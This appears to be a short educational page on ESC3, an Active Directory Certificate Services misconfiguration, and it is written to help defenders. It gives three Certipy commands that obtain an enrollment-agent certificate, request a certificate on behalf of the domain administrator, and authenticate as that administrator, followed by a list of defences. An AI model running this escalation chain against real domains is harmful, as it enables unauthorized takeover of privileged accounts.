What is ESC3?

ESC3 is an AD CS misconfiguration involving the Certificate Request Agent (enrollment agent) EKU. If a low-privileged user can enrol in a template that grants the enrollment-agent role, they obtain an agent certificate, then use it to request certificates on behalf of any other user, including a Domain Admin. Two steps, and the attacker is authenticating as a privileged account. Certipy automates both.

HOW IT WORKS

01 The abuse and payload

The attack is two stages: get the agent certificate, then use it to enrol as an admin.

- Request the enrollment-agent certificate: `certipy req -u user@corp.local -p pass -ca CORP-CA -template EnrollmentAgent`
- Use it to enrol on behalf of a Domain Admin: `certipy req -u user@corp.local -p pass -ca CORP-CA -template User -on-behalf-of "CORP\administrator" -pfx agent.pfx`
- Authenticate as the admin: `certipy auth -pfx administrator.pfx`

Documented Certipy steps, shown for defensive recognition.

> THE ROLE TO WATCH
>
> *The dangerous capability is the Certificate Request Agent EKU reaching low-privileged users. An agent certificate is a licence to enrol as anyone.*

HOW TO DEFEND

- Restrict who can enrol in enrollment-agent templates to a tiny, trusted set.
- Use enrollment-agent restrictions on the CA to limit which templates and which target users an agent may act for.
- Require manager approval on agent and on-behalf-of templates.
- Audit with Certipy for templates granting the Certificate Request Agent EKU to broad groups.
- Monitor for on-behalf-of certificate requests.

SOURCES

[1] Microsoft: Active Directory Certificate Services

[2] MITRE ATT&CK Enterprise Matrix

[3] NIST SP 800-115 Technical Guide to Security Testing

Test your Active Directory before an attacker does.

securelayer7.net/learn/active-directory/what-is-esc3

Open online